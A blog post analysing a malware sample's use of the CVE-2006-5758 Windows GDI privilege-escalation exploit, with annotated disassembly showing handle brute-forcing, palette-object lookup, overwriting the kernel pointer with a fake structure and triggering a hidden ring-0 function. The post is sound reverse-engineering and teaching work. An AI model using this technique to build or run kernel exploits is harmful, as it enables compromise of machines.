I put my hands on a malware linked from one of the online malware repositories (md5: 57127815d6864a495151e49c7bf7d192). From a quick glance at it I had the impression it’s an interesting malware to play with. It’s recognizable by almost all the antivirus products out there, and to have an idea about what it does I read some technical descriptions from some random antivirus pages.
In this post I won’t describe what the malicious file does, but I’ll spend few words on a specific behaviour only: CVE-2006-5758. I didn’t check all the sites, but seems like no one is reporting information about the exploit used inside this malware. It tries to exploit a GDI Local Elevation of Privilege vulnerability, patched on April 2007 (MS07-017); yes, more than one year and a half old. From what I have seen there’s only one article on the web talking about this malicious file, it’s available at cyberinsecure web page.
The article doesn’t refer to a specific malware, and I don’t know if I have the same file, but the quick description reveals almost the same characteristics of the file I’m working on:
“After remapping the memory, the malware will initialize a CPalette object. It will then search for the palette object in the shared kernel memory structure. Since the memory is now writable, it can be altered to include a pointer to a special function that will remove any existing SST hooks. Finally, a call to GetNearestPaletteIndex will indirectly cause the function to be executed. Afterwards, the palette object is restored leaving no trace of the attack.“.
I’ll use this comment to guide you through the post.
I wasn’t able to identify the packer used to protect the malware, it’s not such a problem indeed because the exe file is debug-able and it’s not hard to step through the code. You can try rebuilding the file, but in general I prefer to work on untouched files so my best choice it’s a simple dump. After that, in order to view all runtime retrieved functions I use my Ida plugin named Reveal Imports. In this way you can easily navigate through the disasmed file. Looking at the revealed imports I noticed some weird functions:
Quite unusual functions for a malware. The first thing to do is to check if they are used or not. These functions are called by the malware, and now I have to understand why. From my non professional experience with malwares in general, I know that most of the time the unusual code you see inside a malware comes from a source code available online. Google is a good friend, and a simple search reveals something interesting at milw0rm.
It’s the source code of the exploit that is used inside the malware (not the source of the malware!). I think it’s quite useful for newbies to disasm a routine having an eye on the source code, this malware represents a good exercize.
After remapping the memory…
The *exploit* routine starts at 40293E, and there’s an interesting loop at the beginning of the routine:
40296C search_right_handle: 40296C cmp [ebp+hFileMappingObject], 0FFFFh ; hFileMappingObject is initially 0 402973 jnb short loc_4029C1 402975 xor eax, eax 402977 mov [ebp+var_28], eax 40297A push eax ; dwNumberOfBytesToMap 40297B push eax ; dwFileOffsetLow 40297C push eax ; dwFileOffsetHigh 40297D push FILE_MAP_ALL_ACCESS ; dwDesiredAccess 402982 push [ebp+hFileMappingObject] ; hFileMappingObject 402985 call ds:MapViewOfFile 40298B mov [ebp+lpBaseAddress], eax 40298E test eax, eax 402990 jz short MapView_fails 402992 lea ecx, [ebp+var_2C] 402995 push 0 ; ResultLength 402997 push 10h ; SectionInformationLength 402999 push ecx ; SectionInformation 40299A push 0 ; SectionInformationClass 40299C push [ebp+hFileMappingObject] ; SectionHandle 40299F call NtQuerySection ; Retrieves information about the section object 4029A5 cmp [ebp+var_28], SEC_COMMIT 4029AC jz short section_found 4029AE push [ebp+lpBaseAddress] ; lpBaseAddress 4029B1 call ds:UnmapViewOfFile ; Wrong handle, unmap! 4029B7 xor eax, eax 4029B9 mov [ebp+lpBaseAddress], eax 4029BC 4029BC MapView_fails: 4029BC inc [ebp+hFileMappingObject] ; Increments hFileMappingObject 4029BF jmp short search_right_handle
It repeatedly calls MapViewOfFile function using handle from 0 to 0xFFFF. If it finds the right handle it goes on with the rest of the code. As you can see from the snippet the malware restores the state of a wrong mapped view calling UnMapViewOfFile. That’s because it needs one and only one specific kind of section. It’s the first important step to complete.
On my XP machine the malware locates the right mapped view at 0xC30000, if you look at Ollydbg’s “Memory map” window you’ll see it only after MapViewOfFile was called; you should know why.
…the malware will initialize a CPalette object…
4029CC call RtlAllocateHeap_bridge ; Allocates memory space 4029D1 test eax, eax 4029D3 jz loc_402AA4 4029D9 mov [ebp+var_14], eax 4029DC mov word ptr [eax+2], 1 ; palNumEntries 4029E2 mov word ptr [eax], 300h ; palVersion 4029E7 push eax ; Logical palette 4029E8 call CreatePalette ; Creates a logical palette
Pretty easy to understand.
…It will then search for the palette object in the shared memory structure…
The mapped view is then used by the malware inside a new loop. The malware looks for a PGDI_TABLE_ENTRY through the new memory space:
402A04 search_object: 402A04 mov eax, [ebp+lpBaseAddress] 402A07 add eax, [ebp+var_24] 402A0A cmp [ebp+GDI_Structure], eax ; Is it inside the mapped memory? 402A0D jnb short loc_402A37 402A0F mov eax, [ebp+GDI_Structure] 402A12 xor ecx, ecx 402A14 mov cx, [eax+4] 402A18 mov edx, [ebp+Pid] ; pGdiEntry->ProcessID 402A1B cmp ecx, edx 402A1D jnz short try_next_structure 402A1F xor ecx, ecx 402A21 mov cx, [eax+0Ah] ; pGdiEntry->nType 402A25 cmp ecx, 8 ; PAL_TYPE 402A28 jnz short try_next_structure 402A2A mov eax, [eax] ; pGdiEntry->pKernelInfo 402A2C mov [ebp+original_KernelInfo], eax ; Saves the original value 402A2F jmp short loc_402A37 402A31 try_next_structure: 402A31 add [ebp+GDI_Structure], 10h ; Moves on the next structure to check 402A35 jmp short search_object
It saves the original value of KernleInfo field which contains a pointer to something stored at ring0. You can imagine why it’s saving that value.. it will replace the address with something else for sure.
…it can be altered to include a pointer to a special function…
402A3E call _RtlAllocateHeap_bridge ... 402A4E push [ebp+hO] 402A51 pop dword ptr [eax] ; Stores handle obtained calling CreatePalette 402A53 mov dword ptr [eax+14h], 1 402A5A push [ebp+hook_hidden_function] ; push 402AC0 402A5D pop dword ptr [eax+3Ch] ; Stores the real function to call ... 402A6B mov eax, [ebp+GDI_Structure] ; Address of the original structure to replace 402A6E push [ebp+fake_structure] ; Push the fake structure address 402A71 pop dword ptr [eax] ; To tamper!
It replaces the original data with something else. It’s more or less always the same trick, you exchange the old value with a new preferred one!
…Finally, a call to GetNearestPaletteIndex will indirectly cause the function to be executed…
The next call to GetNearestPaletteIndex will call what I have named hook_hidden_function, the hidden dangerous routine. To understand how the trick works you have to look inside win32k.sys, here’s part of GetNearestPaletteIndex:
00402A73 push 0 00402A75 push [ebp+hO] 00402A78 call GetNearestPaletteIndex ... BF94B4AF mov esi, [ebp+8] ; esi -> fake structure created between 402A4E and 402A6E ... BF94B4E0 call dword ptr [esi+3Ch] ; esi+3C points to hook_hidden_function!!!
The malware will call the hidden function, you ignore it until you’ll realize that the machine is compromised. Nice trick indeed.
The malware seems to have some more interesting features, I hope to write something else about it in the next days.